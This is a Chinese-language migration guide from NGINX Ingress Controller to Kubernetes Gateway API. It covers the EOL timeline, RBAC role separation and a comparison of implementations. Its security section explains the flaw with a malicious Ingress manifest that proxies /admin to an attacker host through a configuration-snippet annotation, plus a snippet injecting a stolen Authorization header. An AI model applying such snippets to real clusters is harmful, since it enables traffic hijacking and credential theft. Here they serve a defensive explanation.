Gateway API 采用指南
📌 参考版本: Gateway API v1.4.0, Cilium v1.19.0, EKS 1.32, AWS LBC v3.0.0, Envoy Gateway v1.7.0
📅 撰写日期: 2025-02-12 | ⏱️ 阅读时间: 约 25 分钟
1. 概述
随着 NGINX Ingress Controller 官方生命周期终止(EOL)时间定于 2026 年 3 月,向 Kubernetes Gateway API 过渡已经从可选变为必须。本指南涵盖从理解 Gateway API 架构到比较 5 大主流实现方案(AWS LBC v3、Cilium、NGINX Gateway Fabric、Envoy Gateway、kGateway)、深入 Cilium ENI 模式配置、分步迁移执行策略以及性能基准测试规划的全部内容。
1.1 目标读者
- 运维 NGINX Ingress Controller 的 EKS 集群管理员:制定 EOL 应对策略
- 规划 Gateway API 迁移的平台工程师:技术选型与 PoC 执行
- 评估流量管理架构现代化的架构师:长期路线图设计
- 考虑 Cilium ENI 模式与 Gateway API 集成的网络工程师:基于 eBPF 的高性能网络
1.2 文档结构
- 快速了解:第 1-3、6 节(约 10 分钟)
- 技术选型:第 1-4、6 节(约 20 分钟)
- 完整迁移:全文阅读(约 25 分钟)
2. NGINX Ingress Controller 退役 — 为何迁移势在必行
2.1 EOL 时间线
关键事件详情:
- 2025 年 3 月:IngressNightmare(CVE-2025-1974)被发现 — 通过 Snippets 注解实现的任意 NGINX 配置注入漏洞加速了 Kubernetes SIG Network 对退役的讨论
- 2025 年 11 月:Kubernetes SIG Network 正式宣布 NGINX Ingress Controller 退役。引用维护者资源不足(仅 1-2 名核心维护者)以及 Gateway API 成熟度作为主要原因
- 2026 年 3 月:官方 EOL — 安全补丁和漏洞修复完全停止。在生产环境中继续使用可能导致合规违规
**2026 年 3 月之后,NGINX Ingress Controller 将不再接收安全漏洞补丁。**为了维持 PCI-DSS、SOC 2 和 ISO 27001 等安全认证,您必须过渡到基于 Gateway API 的解决方案。
2.2 安全漏洞分析
IngressNightmare (CVE-2025-1974) 攻击场景:
- 攻击概述
- 控制器架构
- 漏洞利用代码

针对 Kubernetes 集群中 Ingress NGINX Controller 的未授权远程代码执行(RCE)攻击向量。外部和内部攻击者均可通过恶意 Admission Review 攻陷控制器 Pod,从而获取集群中所有 Pod 的访问权限。(来源:Wiz Research)

Ingress NGINX Controller Pod 内部架构。Admission Webhook 的配置验证过程(攻击者在此注入恶意配置到 NGINX 中)是 CVE-2025-1974 的核心攻击面。(来源:Wiz Research)
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: malicious-ingress
annotations:
# 攻击者注入任意 NGINX 配置
nginx.ingress.kubernetes.io/configuration-snippet: |
location /admin {
proxy_pass http://malicious-backend.attacker.com;
# 可绕过认证、窃取数据、安装后门
}
spec:
ingressClassName: nginx
rules:
- host: production-api.example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: production-service
port:
number: 80
风险评估:
对于现有的 NGINX Ingress 环境,我们建议立即应用 admission controller 策略,禁止使用 nginx.ingress.kubernetes.io/configuration-snippet 和 nginx.ingress.kubernetes.io/server-snippet 注解。
2.3 通过采用 Gateway API 从根本上解决漏洞
Gateway API 从根本上解决了 NGINX Ingress 的结构性安全漏洞。
- ❌ NGINX Ingress 漏洞
- ✅ Gateway API 解决方案
1. 配置片段注入攻击
NGINX Ingress 允许通过注解注入任意字符串,造成严重安全风险:
# ❌ NGINX Ingress — 可注入任意字符串
annotations:
nginx.ingress.kubernetes.io/configuration-snippet: |
# 可窃取相邻服务凭据 (CVE-2021-25742)
proxy_set_header Authorization "stolen-token";
2. 所有权限集中在单一资源中
- 路由、TLS、安全和扩展设置全部混合在一个 Ingress 资源中
- 无法按注解进行 RBAC 分离 — 要么拥有完整 Ingress 权限,要么没有
- 只需要路由访问权限的开发者也获得了 TLS/安全修改权限
3. 供应商注解依赖
- 非标准功能通过供应商特定注解添加 → 可移植性丧失
- 注解冲突调试困难
- 管理 100+ 供应商注解的复杂度不断增长
这些结构性问题使 NGINX Ingress 无法满足生产环境的安全要求。
1. 三层角色分离消除了 Snippets
每个团队只管理其权限范围内的资源 — 消除了任意配置注入的路径。
# 基础设施团队:GatewayClass(集群级别)
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: infrastructure-team
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gatewayclasses"]
verbs: ["create", "update", "delete"]
---
# 平台团队:Gateway(命名空间级别)
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: platform-team
namespace: platform-system
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gateways"]
verbs: ["create", "update", "delete"]
---
# 应用团队:仅限 HTTPRoute(仅路由规则)
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: app-team
namespace: app-namespace
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["httproutes"]
verbs: ["create", "update", "delete"]
2. 基于 CRD Schema 的结构化验证
所有字段均通过 OpenAPI schema 预定义,从根本上不可能进行任意配置注入:
# ✅ Gateway API — 仅允许 schema 验证过的字段
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
spec:
rules:
- matches:
- path:
type: PathPrefix
value: /api
filters:
- type: RequestHeaderModifier # 仅允许预定义的 filter
requestHeaderModifier:
add:
- name: X-Custom-Header
value: production
3. 通过 Policy Attachment 模式安全扩展
扩展功能被分离为独立的 Policy 资源,通过 RBAC 控制:
# Cilium 的 CiliumNetworkPolicy 用于 L7 安全策略
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
name: api-rate-limiting
spec:
endpointSelector:
matchLabels:
app: api-gateway
ingress:
- fromEndpoints:
- matchLabels:
role: frontend
toPorts:
- ports:
- port: "80"
protocol: TCP
rules:
http:
- method: "GET"
path: "/api/.*"
rateLimit:
requestsPerSecond: 100
- 15+ 生产级实现:AWS、Google Cloud、Cilium、Envoy、NGINX、Istio 等
- 定期季度发布:截至 v1.4.0 包含 GA 资源
- 官方 CNCF 项目:由 Kubernetes SIG Network 主导
3. Gateway API — 下一代流量管理标准
3.1 Gateway API 架构

来源:Kubernetes Gateway API 官方文档 — 三种角色(基础设施提供者、集群运维人员、应用开发者)分别管理 GatewayClass、Gateway 和 HTTPRoute
关于 NGINX Ingress 和 Gateway API 的详细架构对比,请参阅 2.3 通过采用 Gateway API 从根本上解决漏洞,包含分标签页的详细分析。
3.2 三层资源模型
Gateway API 通过以下层次结构分离职责:
- 角色概览
- 基础设施 (GatewayClass)
- 平台 (Gateway)
- 应用团队 (HTTPRoute)

来源:Kubernetes Gateway API 官方文档 — GatewayClass → Gateway → xRoute → Service 层次结构
基础设施团队:GatewayClass 专属权限(ClusterRole)
GatewayClass 是集群级资源,只有基础设施团队可以创建/修改。它控制控制器选择和全局策略。
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: infrastructure-gateway-manager
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gatewayclasses"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
平台团队:Gateway 管理权限(Role — 命名空间级)
Gateway 是命名空间级资源。平台团队管理监听器配置、TLS 证书和负载均衡器设置。
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: platform-gateway-manager
namespace: gateway-system
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["gateways"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: [""]
resources: ["secrets"] # TLS 证书管理
verbs: ["get", "list"]
应用团队:仅限 HTTPRoute(Role — 命名空间级)
应用团队仅管理其自身命名空间中的 HTTPRoute 和 ReferenceGrant。他们无法访问 GatewayClass 或 Gateway 资源。
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: app-route-manager
namespace: production-app
rules:
- apiGroups: ["gateway.networking.k8s.io"]
resources: ["httproutes", "referencegrants"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: [""]
resources: ["services"]
verbs: ["get", "list"]
3.3 GA 状态 (v1.4.0)
Gateway API 分为 Standard Channel 和 Experimental Channel,各资源的成熟度级别不同:
Alpha 状态的资源不保证 API 兼容性,在次版本升级时可能发生字段变更或删除。对于生产环境,我们建议仅使用 Standard channel 中的 GA/Beta 资源。
3.4 核心优势
通过可视化图表和 YAML 示例探索 Gateway API 的 6 大核心优势。
4. Gateway API 实现方案对比 - AWS 原生 vs 开源
本节对 5 大主流 Gateway API 实现方案进行详细对比。了解每个方案的功能、优势和劣势,有助于您为组织做出最优选择。
4.1 方案总览对比
以下矩阵对比了 5 个 Gateway API 实现方案的关键功能、限制和使用场景。
4.2 综合对比表
4.3 NGINX 功能映射
对比 8 个关键 NGINX Ingress Controller 功能在各 Gateway API 方案中的实现方式。
| # | NGINX Feature | AWS Native | Cilium | NGINX Fabric | Envoy GW | kGateway |
|---|---|---|---|---|---|---|
1 | Basic Auth | Lambda/JWT | L7 Policy | OIDC Policy | ExtAuth | JWT/OIDC |
2 | IP Allowlist | WAF IP Sets + SG | CiliumNetworkPolicy | NginxProxy | SecurityPolicy | RouteOption |
3 | Rate Limiting | WAF Rate Rule | L7 Rate Limit | NginxProxy | BackendTrafficPolicy | RouteOption |
4 | URL Rewrite | HTTPRoute Filter | HTTPRoute Filter | HTTPRoute Filter | HTTPRoute Filter | HTTPRoute Filter |
5 | Body Size | WAF Size Rule | - | NginxProxy | ClientTrafficPolicy | RouteOption |
6 | Custom Error | ALB Fixed Response | - | Custom Backend | Direct Response | DirectResponse |
7 | Header Routing | HTTPRoute matches | HTTPRoute matches | HTTPRoute matches | HTTPRoute matches | HTTPRoute matches |
8 | Cookie Affinity | TG Stickiness | - | Upstream Config | Session Persistence | RouteOption |
图例:
- ✅ 原生支持(无需额外工具)
- ⚠️ 部分支持或需要额外配置
- ❌ 不支持(需要单独方案)